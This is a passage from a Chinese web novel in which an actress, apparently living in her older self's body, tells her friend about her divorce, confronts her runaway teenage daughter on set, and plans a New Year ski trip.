秦毅发现,照片里模糊不清的地方,一旦真的置身于此间,一切都清晰起来。 毕竟是住了十几年的地方,怎么可能忘记呢? 他指中其中一栋三楼的窗户,对应真道:“我上大学之前,一直住在那。” 应真顺着他指的方向看过去,黑漆漆的,窗户大开着,里头的人应该已经搬走了。 应真:“好不容易回来一趟,要不要上楼去看看?” 秦毅摇头:“我上大学后,那房子就卖给别人了。” 应真算了算,他上大学的年纪,跟她去北市北漂的年纪差不多大。 她想到他在牧场那简陋的住处,忍不住称赞:“你对环境的适应能力真的很强。” 秦毅唇角弯起:“光棍一个。没那么多讲究。如果哪天有另一半了,就不能这样了,总不能让她跟我一起吃苦。” 应真抬头看他小时候住的那套房子,其实她也住过类似的单元楼。八九十年代的红砖房都差不多,这职工楼跟李茹华当初单位分的福利房也没什么区别。 秦毅看着她微昂起的下巴,有种不真实的恍惚感。 她在宁市,此刻就站在他小时候的家的楼下。 可能他真的是个想象力匮乏的人,这个画面,他做梦也想不到。 有些事情,秦毅从未对旁人提起,此刻却忍不住想跟她说:“我手上的疤是小时候我妈妈划的。” 应真正打量那屋子,突然听到他没头没脑地说了句。她转过头看着他,意识到他在说什么,瞬间有些窘。 刚才她盯着他伤口看,被他发现了。幸好他的表情很自然,一边说一边拿手比划着,“就那种吃饭的碗的碎片。还好没有割到血管。” 应真拍戏那么多年,对于受伤这件事,她比别人有经验,“看着就疼。我以前拍戏也老受伤。看你那道疤,就知道当时的伤口肯定很大。” 她语气很寻常,仿佛只是在说一桩很平常的意外。 老居民楼路灯昏暗,秦毅看不清她脸上的表情,却感觉胸口没那么冷了。 “难怪人都搬空了,这楼里都停止供暖了,屋里跟外头一个温度!”黄书韵从单位门出来,用力跺着已经发麻的脚,“我本来还想带应真去教学区那边逛逛,刚余姐打电话来了,她回宁市了,催我们回去呢。” 余平婉听说秦毅来了,急着要跟他汇报《雪在飘》的拍摄进度和资金使用情况。 三人便折返去烧烤店取车。秦毅这一趟是从牧场开车回宁市的。他开着他那辆全是泥的越野车送她们回酒店。 黄书韵知道他在宁市没有住处。反正剧组把整个酒店都租下来了,还有空房间,便安排他直接在酒店住下。 秦毅没有推辞。 黄书韵问前台小姐要空房间的钥匙,一眼就看到柜台上摆放的那一大捧红色玫瑰花,那颜色极其热烈嚣张。 她忍不住多八卦了一句,“男朋友送的啊?” 前台小姐有些不好意思地看了眼旁边的应真,看她神色淡淡地站在那儿,仿佛已经忘了这茬,便主动解释起来:“是应老师的丈夫送的,应老师不想放在她房间,让我们随意处置。我们没舍得扔,摆在柜台上吧,这样经过的人都能欣赏到。” 秦毅停好车进来,正好听到这句,忍不住看了眼柜台一角的红玫瑰花——确实很美,不是酒吧街那种放在篮子里售卖的玫瑰能比的。 黄书韵将领到钥匙递给秦毅,“委屈金主了。只剩下标间了。把你安排在余姐隔壁,方便你俩对帐。” 余姐的房间跟黄书韵和应真在同一层。她们俩领着秦毅一起进了电梯。 前台小姐目送三人,忍不住将刚才那个男人记在脑海里。这些日子,剧组的人她都差不多认全了,已经能一眼认出谁是演员,谁是工作人员了。 刚才那男人虽然长相气质都很出众,但听黄导的口气,应该不是演员,而是她的朋友。 电梯门刚阖上,黄书韵就忍不住捅了捅应真的胳膊:“把宁君昊送你的花转手送给别人,还说没事?你不会还在跟宁君昊冷战吧?” 上回在草原,应真就跟宁君昊大吵了一架,至于为什么吵,黄书韵和秦毅都知道内情。 尤其秦毅,当初还跟宁君昊掺和在一块。 电梯里就他们三个人,应真觉得也没什么好瞒的,神色冷淡地开口:“没有冷战。我跟宁君昊正在办离婚。” “蛤?”黄书韵惊呆,那些让她觉得不对劲的边边角角瞬间拼成了一块完整拼图。 难怪最近觉得应真的情绪不对劲,这下忽然有了答案。 可是,应真那么心软,怎么能狠下来心来跟宁君昊离婚?这些年,她老公和女儿不就是因为她的心软,把她吃得死死的吗? 黄书韵还是难以置信:“真真,你已经想好了?这,这也太突然了吧。” 应真垂下眼皮:“哪里突然?上回在锡市,我就觉得跟他没法过下去。回来后,各种各样的事,我越来越觉得,跟他存在着太多根本观念上的不合。” 说到这,她叹了口气:“怪我自己当初看走了眼。既然不合适,就赶紧分开。” 黄书韵震惊得说不话出来,说实话,这些年她能感觉到应真跟宁君昊之间并不是没有感情。 不过,几十年积攒的人生智慧告诉她,即便是亲闺蜜,最好也不要在这种事情上发表太多自己的看法,站在身后适时给予支持就好了。 她一把揽住应真的胳膊:“反正只要你自己想好,不管你做什么决定,我都支持你。” 到了这个年纪,也都经历过一些风风雨雨,黄书韵立刻开始想后头的事了,“真真,离婚不是小事,你慎重考虑。如果跟宁君昊过不下去,也没关系。等咱们这个戏拍完了,你要不搬回翠苑。你搬回来,继续睡你原来那个卧室。那个主卧房间我一直没动。你要是想一个人住,我就出去找房子。” 应真听她噼里啪啦说的说了一大串,把后续的事情全安排好了,感动得用力抱住她,“我可不想一个人住,你必须得陪我!” 秦毅站在一旁没说话。他的立场,这个时候说什么都不大合适。 宁君昊的公司要上市了,以他对宁君昊的了解,这个时候不太可能会同意离婚。 这一晚上,秦毅都没怎么敢盯着应真的脸看,此刻看到她眼底的红血丝,忍不住道:“应真,如果有什么需要我帮忙的,你尽管开口。” 应真冲他点点头:“谢谢。” 黄书韵领着秦毅去找余姐。应真第二天还有戏,先回房休息了。 隔天一大早起床,应真刚健完身回来,接到前台电话:“应老师,您女儿来了。正在前台等您。” 第50章 第50章“我不是你妈。”…… 昨天晚上爸爸没有回家,只是打了个电话回来,说他有事要出差几天。 以前妈妈在家的时候,爸爸就经常因为出差或是加班不在家,宁颐然习惯了。可是现在妈妈也不在家,家里只有她和叶阿姨,宁颐然顿时感觉自己像个留守儿童。 妈妈去宁市后,没有给她打过一个电话,发过一条消息,仿佛消失了一般。爸爸一如既往地扑在他公司的事上,没有多余的关注给她。 宁颐然来大姨妈了,身体不舒服,心情更是低落,躺在床上有点想哭。 爸爸妈妈闹离婚,互相冷战,然后把气撒在她身上。他们凭什么?! 相比较一向感情冷漠的爸爸,宁颐然对妈妈的怨恨更多。妈妈怎么可以去拍戏,就像没有她这个女儿一样,从她的生活里消失得无影无踪! 宁颐然肚子疼得难受,开始想念妈妈煮的五红汤。每次来例假,妈妈都会煮热腾腾的甜水给她喝。 晚饭的时候,她跟叶阿姨提了一嘴,叶阿姨一头雾水地问她五红汤是什么。 宁颐然哪知道五红汤是用什么煮的,只觉得甜甜的很好喝。叶阿姨到网上搜了一下食谱,面色为难地告诉她家里的红糖用完了。 “太太是在一家专做手工古法红糖的店铺买的,外卖软件上没有。” 看到叶阿姨那为难的样子,宁颐然什么都不想喝了,没精打采地躺在床上刷手机。 她在网上搜索妈妈拍的那部电影的消息,搜出来的有用信息不多。不过这也难不到她,她加了妈妈那部电影男主角李长风的粉丝群,群里粉丝们每天都在参与《雪在飘》剧组探班资格的摇号。 宁颐然这才知道妈妈拍戏的剧组住在宁市云澜酒店。早上去学校的路上,她又跟爸爸的司机小李套话。 小李前几天,才送爸爸去宁市看望妈妈。果然,三言两语就问出来妈妈在宁市住的地方——就是云澜酒店! 到了学校,宁颐然没有像往常一样进校门。而是站在保安室门口的雨篷下看着司机开着车离去,然后在路边打了辆专车。 她查过了,从北市打车去市宁大概六七百块。她懒得跟司机废话,直接出价一千包车去宁市。 一个小姑娘背着书包,学也不上了,一大早要去外地,司机本来还想多嘴几句,没想到她一张嘴就是“一千块”的高价。再看她穿着国际学校的校服,得,这一看就是有钱人家的孩子。管她去宁市干嘛,自己只需要把人送到就行了。 这种大单一个月也碰不到几回,有钱赚,司机也不废话了,喜滋滋地载着宁颐然去宁市。 * 宁颐然就这样打车到了妈妈拍戏住的酒店,用手机转了一千块给司机。她背着妈妈攒了几万块的零花钱,绝大多数是爸爸给的,还有过年从亲戚们那拿的压岁钱。 可惜压岁钱大部分都被妈妈没收了,不然她零花钱更多。 到了酒店才发现,整间酒店都被剧组包了下来,因为每天都有李长风的粉丝来探班,进出管理很严格。 工作人员看到一辆北市车牌的车子在酒店门口停了下来,从上头下来一个背着书包的少女,还以为她也是来探李长风班的。 每次有未成年小孩来,工作人员就很头疼,这八成是用家里人的信息登记的。 工作人员拿出预约名单:“小姑娘,你叫什么名字?通过官方渠道预约了吗?” 宁颐然不粉任何三次元的明星,头也不抬地冷冷道:“我不是来见李长风的。” 工作人员还想再问,她已经往酒店里去了。看着她的背影,忍不住犯起嘀咕,不是来探自家艺人的,那跑到这来干什么,总不可能是探陈卓班的吧? 宁颐然一直觉得妈妈拍的电影是个小成本的制作,哪知道剧组管得这么严,一进门就被前台拦住了。 一路被拦拦拦,她也没什么耐心了,索性直接道:“我是应真的女儿,我来找我妈。” 前台愣住,上下打量她,这样貌看着不像啊,但还是替她打了个电话。 宁颐然坐在大厅的沙发上等。说是大厅,其实小得很,比她住过的最差的酒店大堂还要小。 兴许是早上的缘故,剧组工作人员进进出出的,每个人都在忙自己的事,没人注意到坐在角落里的她。 宁颐然等了一会,妈妈终于下来了。 她以为妈妈看到她会欣喜、激动,结果并没有。 妈妈剪短了头发,看到她便问:“你来这,你爸爸知道吗?” 宁颐然没想到妈妈一上来问的是这个,喉咙顿时像是塞了一团棉花,堵在那儿。 她心底涌上一丝破罐子破摔的情绪,冷冷道:“他不知道。我一个人打车过来的。” 应真看她身上还穿着培华的校服,硕大的书包就摆在脚边。不用说,这肯定是逃课来的。 十几岁的孩子,课也不上了,一个人从北市打车到宁市来。看样子昨晚也没睡好,眼底有淡淡青色,嘴唇因为干燥上火而有些起皮泛红。 该来的总要来的。刚才接到前台的电话,应真已经想好了,有些话必须开诚布公地跟孩子说。 她深吸一口气,语气缓了缓:“你吃早饭了没有?” 宁颐然用力咬着嘴唇:“吃过了……” 话还没说完,应真的手机响了。她拿起手机,看着上面的来电显示,眉心便拢了起来。 宁颐然瞬间有些心虚——不会是班主任打来的吧?她已经让死党替她跟班主任请假了,但不确定班主任会不会多事非要打电话给父母。 电话接了起来,那头不知道说了什么,妈妈一脸抱歉道:“陈老师实在抱歉,我在外地拍戏。宁颐然爸爸出差了,他忘记跟您说了。对。孩子确实是有些不舒服,我替她请两天假……” 果然! 听到妈妈替自己圆满,宁颐然这一路崩紧的弦总算放松下来。 挂上电话,妈妈难得的没有唠叨她。跟前台打了声招呼,便领着她一起上楼了。 宁颐然发现这间酒店是真的很破,走廊的壁纸发黄,地毯看上去也有些年头了。 妈妈住的房间是个小套间,装修很老旧,设施看上去有些年头了。不过被妈妈布置得挺温馨的,充满了生活的气息。 宁颐然看到桌上有电炖盅,咖啡壶,还有各种小家电。床上放着柔软的靠枕,还有很多她觉得眼熟的东西,都是妈妈平时习惯用的。 她瞬间有些不是滋味,还以为妈妈过惯了富太太的生活,复出拍戏会不习惯,没想到妈妈在这挺适应的。 将书包往地上一扔,这一段时间积攒的怨气、愤怒、委屈,还有很多说不清道不明的情绪便再也憋不住了。 她生气地瞪着妈妈:“妈,你不会真的打算跟爸爸离婚吧?你留那个纸条给我什么意思?你跟爸爸离婚,就不打算管我了吗?你有没有为我考虑过?” 宁颐然越说越委屈,脸涨得通红,眼眶也控制不住红了,“离婚这么大的事,你都不征求一下我的意见,说离就离!你口口声声说最爱的人是我,还说我自私,我看自私的明明是你!” 反正都是妈妈的错!是妈妈坚持要复出拍戏,要跟爸爸离婚,所以她的生活才变成现在这个样子。 应真本来不想多说,看她这个态度,语气严厉起来:“请你在指责别人的同时,也反思一下自己。你希望妈妈事事跟你商量,那请你先尊重一下妈妈。” 她平时都是温温柔柔的,难得这样疾言厉色。如果是平时,宁颐然肯定会怼回去,但今天对上妈妈那双眼睛,她莫名的有些不敢。 应真看她不说话了,抿了抿唇,冷道:“你坐下来,我有话跟你说。” 宁颐然气呼呼地坐下来,她倒要看妈妈要怎么跟她解释! “我知道这段时间,你觉得我不关心你了,自己被冷落了。我想跟你说,这不是你的问题,是我的问题。” 妈妈这是一上来就跟她道歉吗?宁颐然板着脸看向一旁,耳朵却认真在听。 这段时间,应真在戏中扮演母亲,她深深地意识到自己没有元珊那种极致深沉,自然而然生发出来的母爱。 她最多只能将面前的小姑娘当成朋友,当成小辈来对待。 应真看着她:“其实,我不是你妈。” …… 室内二十多度,宁颐然却觉得整个人像是被塞进了冰柜,遍体生寒。 这段时间,那些让她觉得难受,不对劲的地方,现在全都解释得通了。 她的妈妈怎么可能忘记给她的保温杯加水? 她的妈妈怎么可能给她用预制料理包做早餐? 她的妈妈怎么可能接她放学时忘记给她带吃的? 她的妈妈怎么可能一声吭地跑去外地拍戏? 她的妈妈又怎么可能不经过她同意,就坚决地要跟爸爸离婚? …… 好多次她都觉得妈妈像是换了个人。全都对上了。可是为什么她这么难受呢? 宁颐然目光发直地看着面前女人,过往和妈妈在一起的画面涌上来,她哭着捂住耳朵:“我不信!你就是想和爸爸离婚,故意骗我!”【你现在阅读的是魔蝎小说 moxiexs】 50-60 第51章 第51章宁颐然长这么大,第一次…… 应真看她哭得太伤心了,起身递了几张纸巾给她,“我只是将实情告诉你。免得你觉得我在PUA你。” 这段时间刷红色软件,应真学了不少她先前没听说过的新鲜词语。剧组年轻人聊天,她也能跟上了。 宁颐然拿纸巾用力擤鼻涕,一边抽噎着一边道:“我不管!你现在占着我妈的身体,你就是我妈妈!除非你把我妈给我变回来!” 长这么大,她从来没有这么伤心过。 直到现在,她才开始意识到妈妈的爱对她来说意味着什么。那是她内心深处最根本的安全感所在。她知道纵使自己让妈妈伤心、难过、失望,那道温柔的目光始终在。 妈妈就在那,她不会走远。 可现在,这个跟她妈妈一模一样的女人,说她其实并不是她妈,宁颐然感觉自己的世界崩塌了。 理性上她知道发生了什么,感性上她实在无法接受。如果这个女人不是她妈妈,那她妈妈去哪了? …… 应真一直觉得这孩子性格很像宁君昊,表面上是个聪明冷酷的小大人,其实骨子里就是个任性自私的小孩。 “你已经快十五岁了,不是五岁。十五岁也到了懂事的年纪。” 应真本来想说自己在这个年纪已经开始拍戏赚钱了,又觉得这话好像太妈味。既然决定卸下母亲的角色,那就只交流,不教育。反正只要不代入母亲角色,把这小孩当成一个平等交流的人类,心态瞬间就轻松了许多。 她及时打住,“你是个聪明的孩子。上回你说,如果我跟你爸爸离婚,你肯定会跟你爸爸。我觉得你的选择是对的。你爸爸对你的感情,肯定胜过我对你的感情。他能给你我给不了的资源。所以,这次我在跟你爸爸的离婚协议里头,新增了放弃抚养权的条款……” “放弃抚养权”几个字让正努力平复情绪的宁颐然再一次“哇”地哭了出来。她扑在妈妈的枕头上,眼泪止不住地往下淌,哭嚷道:“我说你自私你还不承认。你明知道你跟我爸离婚,奶奶肯定会逼爸爸再婚,再让后妈给我爸生个儿子。到时候他们一家三口美美的,我算什么?” 宁颐然闻到枕头上熟悉的气味,那是独属妈妈的味道。这气味让她更难受了,忽然好想那个眼里心里全是她的妈妈。 她这个样子,应真也没法劝,说了句“你先冷静冷静”,便起身去卧室外面给宁君昊打电话。 宁颐然竖着耳朵,也没听清妈妈跟爸爸说了什么,两人似乎争吵了几句。过了一会,妈妈进来了。 “你爸爸正在海市开会,明天才能回北市。我本来打算让小李开车来接你,你爸爸说他来接你回去。” 应真昨天才换的床上用品,这孩子不仅穿着外套往她床上扑,还把鼻涕眼泪全蹭到她枕头上。 她叹了口气,顿了顿,又道:“这两天你就在宁市,不准到处乱跑了。我下午要去片场,你跟我一起去。” 你又不是我妈!要你管!宁颐然既生气又伤心,差点脱口而出。但对上妈妈那双没有感情的眼睛,她什么话都说不出来。 应真可不打算放她一个人在酒店,这两天必须让她在自己眼皮底下,然后等宁君昊原封不动地把人领回北市。 下午拍元珊跟江游前期在单位的对手戏。应真提前到片场化妆做造型,把宁颐然也一起带过去了。 宁颐然到了那才知道,所谓的片场是当地的派出所。剧组借了间办公室来拍戏。 说实话,虽然她从小就知道妈妈年轻时是个演员,但从来没见过妈妈工作的场景和拍戏时的样子。 她倒是跟何凌霜一起去过小婶婶的服装公司玩,正好碰到市场部的人在拍广告册子。摄影棚里,几个漂亮模特换上还未上市的最新款服装,摆出各种不同姿势供摄影师拍照。 宁颐然跟表姐坐在一旁看,发现那几个模特来来回回就那些拍照姿势,看久了就那样,挺机械的。 她一直觉得妈妈年轻时的工作跟那些模特也没什么区别。今天来片场,才发现不是那么回事。显然拍戏比拍照片要复杂许多。 她到的时候,刚好拍完上午的两场戏。现场各种仪器设备,工作人员进进出出忙着布置下午几场戏的道具和灯光。 妈妈去化妆做造型了。妈妈的朋友黄书韵看到她,很热情地跟她打招呼,还把她安排在候场休息区。 宁颐然小时候见过书韵阿姨,印象很深刻。当时她刚从外地采风回来,爬山的时候把门牙摔裂了。一见面,还没坐下来,就摘下口罩给她们看那颗裂掉的门牙。 那时候的她比现在胖一些黑一些,大夏天穿着一双很厚重的大黄靴,一副不修边幅的样子。说起自己摔跤的事,眉飞色舞的,仿佛在说别人的事。 反正妈妈的朋友都怪怪的,她们穿着打扮,说话行事都很随意。跟爸爸那边穿着考究,一板一眼的朋友很不一样。 不知道是不是当导演的缘故,书韵阿姨看上去沉稳了许多,淡定地指挥着工作人员。那个叫李长风的演员也在,一个人拿着剧本坐在角落里看着。 宁颐然想到群里那些眼巴巴等摇号中探班资格的粉丝,忍不住拿手机出来想拍张照片。转念一想,她又不是李长风的粉丝,干嘛要拍! 书韵阿姨说话仍然轻声细语的,现场工作人员太多了,都在忙自己的事,嘈杂得很。但是听到她说话,大家都会安静下来。 宁颐然看到布置道具的道具师,拿着反光板的灯光师,举着毛茸茸防风罩话筒的录音师,都停下来专注地听书韵阿姨说话。可能这就是导演的威力吧。现场不管是谁都得听她指挥。 “这段时间大家辛苦了。开机这么多天,没休息过。明天元旦,咱们剧组放一天假。后天早上9点准时开工。今天下午收工后,你们就可以回去陪对象陪家人跨年了。” 一听说放假,现场工作人员都欢呼起来了,每个人脸上都洋溢着开心的笑容。 一屋子人,只有宁颐然跟坐在离她不远的一个小男孩无动于衷。那男孩戴着耳机坐在一旁,膝盖上放了一本教辅书,一边听音乐,一边刷题,旁若无人。 宁颐然扫了一眼他的教辅书,跟表姐何凌霜平时写的是同款,在北市公立学校中很流行的七星学霸。据说是教辅天花板,反正何凌霜那个渣渣每次只会前面几题。 看那男孩低头唰唰地写着,宁颐然猜测他学习应该比她表姐要好。 兴许是发现了她的目光,男孩摘下耳机,冲她笑了笑:“你是应老师的女儿吧?我叫景轩,在戏里扮演应老师的儿子。” 宁颐然知道妈妈在这部电影里演一个警察,倒不知道她还有个儿子。 她又看了眼他膝盖上的书:“你是初三的?那不是马上要中考了?你在哪所学校?” 她一连三个问题,把景轩弄得有些不好意思:“我是北市九中的。这学期因为拍戏,落下好多功课,只能利用拍戏间隙多刷点题。” 景轩五官立体,是那种长得很酷很有个性的男孩子。但宁颐然还是觉得晋扬更帅一点。 得知宁颐然比自己低一年级,在培华上初二,景轩眼睛亮了:“在剧组这么多天,只有我一个小孩,好无聊,终于来了个比我小的。” 两人年纪相仿,自然而然地就聊了起来。没过一会,景轩的妈妈背着个大双肩包进来了,喜滋滋地对儿子道:“导演说下午拍完你的戏份就可以走了,应该不会耽误晚上的广告拍摄。明天上午上完1对1的课,下午去医院看你爸爸。晚上再坐火车回来,正好赶上后天早上的戏。” 好不容易休息一天,景轩的时间被排得满满。但他似乎习惯了,只“哦”了一声。 宁颐然才知道他不仅演戏,还是个广告模特,平时会接一些电商广告的活。 “外面已经在放饭了,我们赶紧把午饭先吃了,省得等会耽误时间。” 景轩妈妈着急地催促。景轩只能放下书,跟妈妈一起去吃午饭。 休息区剩下宁颐然一个人,她又等了一会,妈妈终于做完造型过来了。她穿着一身冬季警服,皮肤黑了,眉毛看上去也粗了一些,连走路的样子都变了,像是换了一个人,一种说不出的陌生感。 宁颐然有些失落。她左看右看,她妈妈不见了。眼前这个女人是别人的妈妈。 应真不会跟这么大的孩子相处。之前努力学着当妈,现在尽量把她当成自己的朋友。 于是应真问她:“中午我一般就吃剧组的工作餐,你是跟我一起吃工作餐,还是点外卖吃?” 宁颐然不假思索:“我跟你一起吃工作餐。” 一抬头发现妈妈用询问的目光看着她,那眼神里就三个字:你确定? 宁颐然没好气:“就吃工作餐。我饿了,外卖还要等。” 她选好了,应真自然无二话。剧组的后勤是余姐在管,伙食其实很不错。 应真在剧组有专属的保姆车,供她在片场换衣服、化妆、休息。中午,她带着宁颐然在车里吃午餐。 剧组找快餐店定制的盒饭是米饭加两荤两素,每天菜单都不一样,份量扎实,食材也很新鲜。 今天的荤菜有红烧肉、土豆烧牛肉、回锅肉、口水鸡、香煎小黄鱼之类的,素菜有土豆丝、地三鲜、白菜和豌豆尖。应真知道女儿不爱吃口水鸡,便给她点了土豆烧牛肉和香煎小黄鱼。 宁颐然原本对工作餐没抱什么期待,一打开盖子发现全是自己爱吃的。 她心情稍微好了点,刚吃几口就听到妈妈问她:“我明天休息,今天晚上有空。你是想晚上就回北市,还是明天让你爸爸来接你。” 宁颐然的心情瞬间又down到了谷底,红着眼睛瞪着她:“你就那么迫不及待地赶我回去吗!” 应真被她呛在那儿了,张了张嘴,半晌才道:“我这不是担心你在这不适应么?剧组条件哪里能跟家里比?” 宁颐然小脸一沉,嘟囔道:“回去也只有我跟叶阿姨在家,连个说话的人都找不到,一点意思没有。” 这要是四十岁的应真听了肯定心疼得老泪纵横。此刻应真却不为所动,淡淡道:“你可别这么说。平时我在家,也没见你多跟我说一句话。” 老底被揭了,宁颐然说不出话来,涨红着脸埋头继续吃饭。 好在妈妈没再说什么了,宁颐然想到刚才看到那小男孩,“你在戏里的儿子听话吗?” 应真:“青春期的孩子,有听话的吗?” 宁颐然:“和我比呢?” 应真看她一眼,就差把“这还用说吗”写在脸上,不过还是给她留点面子,“这有什么好比的?演我儿子的演员叫景轩,戏里很欠揍,戏外那小孩倒是挺好的,学习好,懂事,贴心。” 宁颐然撅嘴:“他妈妈也很好啊。他在外面拍戏,他妈妈一直陪着他。” 应真点头表示同意:“确实。我跟他那么大的时候,也天天在外头拍戏,可没人陪我。一个人坐火车坐汽车去外地,那时候连手机都没有,交通也不方便,骗子又多,被人坑了好多回。有一次差点被拐到乡下……” 宁颐然从来没听过妈妈说她年轻时拍戏的事,一时听入了迷。 可是,妈妈说了几句就岔开了话题:“我下午就一场戏。你就在片场等我。难得来一趟宁市,晚上我带你去吃莜面和涮羊肉。” 应真当演员习惯了等待,她知道小孩坐不住,先吊根胡萝卜,然后开始安排工作,“正好,我没有助理,你今天给我当助理,帮我看一下东西。喏,就那个包,里面全是我在片场随时要用的东西。等会我把包放在休息区,你在那等我。” 宁颐然头一回到片场看人拍戏,哪哪都觉得新鲜,一点也不觉得等待烦人。 只不过妈妈在戏里被虐得很惨,她演的女警察上班时间在单位摸鱼,刷购物软件被上司发现了,然后被逮到办公室一顿训。 演妈妈上司的是李长风,他骂起人来凶神恶煞的,那眼神里写满了对妈妈的嫌弃。拍第一遍的时候,骂到后面他台词说错了。导演让他又来一遍,前一秒妈妈还在笑,下一秒摄像机一开,妈妈就成了那个窝囊的女警了。 那种表情和动作的瞬间转换,让宁颐然看呆了。 不过,即便是在演戏,宁颐然也受不了别人骂她妈妈,心里很不舒服。 一场戏拍完,妈妈看到她坐在那儿发呆,冲她招手,然后宁颐然便有了跟李长风的合影。 她随手把合影发到了小群,立刻把两个死党给炸出来了。 “啊啊啊啊啊!李长风好帅啊!早知道今天你去探你妈妈的班,我也逃课跟你一起去了!” “天呐!我要是被疯哥揽着肩,做梦我都会笑醒。” …… “你是应真的女儿吧?”头顶响起一个低沉的声音。 宁颐然正在发消息,视线范围内突然多了一双靴子,一头抬头看到一个皮肤黝黑长相很man的男人正站在自己跟前。 他看上去比爸爸小几岁,正冲着自己笑。 宁颐然一眼就认出他脚上的靴子来自一个意大利奢侈品牌,很贵,因为她爸爸也有同款。但他显然并不爱惜,鞋头也磨得发白,靴子表面布满了深浅不一的刮痕。 他样子太闲适自在了,一点不像工作人员。 宁颐然放下手机:“你怎么知道?” 秦毅咧嘴笑:“你长得很像你妈妈。” 宁颐然长这么大,第一次听到有人说她长得像妈妈。 第52章 第52章她不信妈妈那么心软的人…… 见对方笑眯眯地看着自己,宁颐然有些没好气道:“哪里像了?我长这么大,头一回听到有人说我长得像我妈。” 小姑娘眉眼间流淌着情绪,活脱脱小应真的样子,秦毅笑:“两个人像,不一定是长得像,也可能是神态动作像。” 宁颐然没什么跟大人交谈的兴趣,她忙着看手机,朋友圈里同学都在发各种跨年的照片,有准备去高档餐厅吃大餐的,有晒出门旅行照片的。 每一个人都兴高采烈的,就连陈穗都发了她跟她妈,还有她妈男朋友一起外出的照片。 这是陈穗头一回在朋友圈发妈妈男朋友的照片。虽然只是个侧脸,但确实挺年轻帅气的,看上去最多也就二十多岁。 要知道表姨比妈妈年纪还大呢,这可真是老牛吃嫩草! 宁颐然念头突然转到妈妈身上,妈妈跟爸爸离婚,不会也像表姨一样找个比爸爸年轻很多的男朋友吧?! 这个念头刚冒出来,就被她赶紧压下去了!呸呸呸!妈妈肯定不会的! 刷完手机,回到休息区,宁颐然看到桌上摆满了奶茶和点心,是刚才那个说她长得像妈妈的叔叔买的。 那个叔叔姓秦,不仅是书韵阿姨的朋友,还认识她爸爸妈妈。 他来探班,请剧组所有人吃下午茶。 宁颐然很爱喝奶茶,以前妈妈限制她喝,说影响睡眠,还容易让小朋友冒痘发胖。可是今天妈妈不仅不管,还把自己那杯也给她了。 这果然不是亲妈!哼! 宁颐然用力咬住奶茶里的黑色珍珠,边嚼边回想妈妈遇到交通事故那天发生了什么,结果大脑一片空白,什么都想不起来。 齁甜的奶茶喝下去,她心里还是无比苦涩。只要一想到发生在自己身上的事,就有种想哭的感觉。 她时不时地看着妈妈,越看越觉得陌生,妈妈说话的神态、动作,都跟她印象中的妈妈很不一样。 …… 兴许是明天放假的缘故,最后这半天时间,所有工作人员、演员,都异常专注,拧成一股绳,又快又好地把工作完成了,比平时收工早了一个半小时。 应真在手机上搜索宁市的餐厅,找到一家不错的,打电话过去,结果跨年夜店里座位全订满了。没想到小城市的餐饮业也这么火爆。 余平婉和黄书韵,一个儿子回来了,急着回北市。一个放假只想好好放松放松。 秦毅看剧组放假了,便提议去雪顶小镇。那儿度假村环境不错,晚上可以先吃晚饭、泡温泉。第二天一大早去雪场滑雪,下午再回宁市。 跨年这种日子,黄书韵其实并不想一个人,显得她太孤寡了。再说回老家不滑雪,那不就等于在北市不玩环球影城一样? 她自然是积极响应的,又对应真道:“真真,难得闺女来探班,你们也一起去玩吧。宁市的冬天太无聊了,好玩的也就滑雪了。” 应真对滑雪兴趣不大,但宁颐然一听到滑雪,眼睛就亮了。自从小时候滑雪摔跤,她好多年没滑过了。 那次她滑雪磕破脸,把妈妈吓得不轻,还跟爸爸大吵了一架,从此家里就禁止了这项运动。 反正在她印象里,妈妈说的最多的就是:不要干这个,太危险。不准玩那个,不安全。那次她去澳洲游学,妈妈一个人在家能脑补出101种意外。 不过,妈妈现在失忆了,应该不记得她小时候滑雪摔跤的事吧? 宁颐然有些紧张,一脸渴求地看着妈妈,就差直接说出“我想去”三个字了。 应真哪能看不出她的小心思,明天这孩子就要被领回北市了,跨年夜的小小愿望,她还是乐意满足的。 “好吧。不过你一个人滑我不放心,明天找个靠谱点的教练带你。” 黄书韵笑:“有我和秦毅在你怕什么?你不放心我们,就让她在教学道和儿童雪道上滑。” 要知道宁市滑雪可是从娃娃抓起的,从小学就开始要求学生学习滑雪滑冰。 宁颐然一听“儿童”两个字就炸毛,她早八百年就不是儿童了,“妈,我会滑!你要不放心,明天我就在初级道上滑,这总行了吧?” 这孩子一听到滑雪,就一副急切的模样,应真也不想扫她的兴。等她玩尽兴了,安生地回北市去。 三个大人,一个小孩,就这么把跨年的安排敲定了。书韵收拾东西时,看到李长风坐在一旁看手机,脸色似乎不大好,便随口问道:“长风,我们打算去雪顶小镇泡温泉、滑雪,你要不要一起去?” 李长风今天是戏份最吃重的,结束时整个人处于一种贤者时间的倦怠,情绪被掏得一干二净,身体开始蠢蠢欲动。 手机上撩他的人很多,可是他好像也没有特别大的兴趣。 刚助理把编辑好的跨年微博发给他,他一看九宫格全是工作室的精修照,眉头立刻皱了起来。他可是段子手人设啊,整得他多自恋似的。 他正抓耳挠腮地想微博发什么,听黄书韵问他,愣了一下,等他回过神来,嘴巴已经先于脑子答应下来了,“好啊。正好我跨年夜没人约。” 这话一出,应真和黄书韵不约而同地交换了个眼神,忍着没笑——怕是约的人太多了,信息都看花了眼。 很奇怪,答应了滑雪邀约后,李长风的心情一下子轻松起来,阻塞的思路突然就通了。 他把那些精装照全删了,举着手机拍了拍自己放在折叠椅上的保温杯。这个保温杯是剧组定制的,所有工作人员和演员人手一个,上面还有《雪在飘》的贴纸。 上传照片,编辑文案,选择定时发布。 …… 说去就去,一行人回酒店收拾东西。秦毅和李长风两位男士,一人开一辆车。 黄书韵本来想跟秦毅、应真母女一辆车,结果李长风很不满,“导演,这风大雪大的,你让我一个人开车去啊。好歹有个人坐在车里陪我聊聊天啊。” 她一想也是,刚才是她开口邀他一起去的,让他空车去好像是有点不厚道,于是拎着包上了他的车。 其实刚才她也就随口一问,她知道李长风在娱乐圈异性缘很好,对他有好感的女演员女明星能从宁市排到北市,怎么可能跨年夜没有安排?她哪知道李长风竟然真的没安排。 * 秦叔叔开了一辆黑色的越野车,宁颐然跟妈妈坐在后座。雪顶小镇离市区大概有六七十公里,开车过去一个多小时。 宁颐然现在对自己旁边这个女人别扭得很,她好想像小时候那样抱着她,可是心里还在生她的气。 她说那么多,说什么不是她妈妈,可是她们分明就是同一个人!反正她就是她妈妈!她说她无法适应妈妈的角色,那自己就让她适应! 哼!她不信妈妈那么心软的人,真的会撇下她! 这么一想,宁颐然心情好了些,感觉一颗心又重新回到了胸腔里。 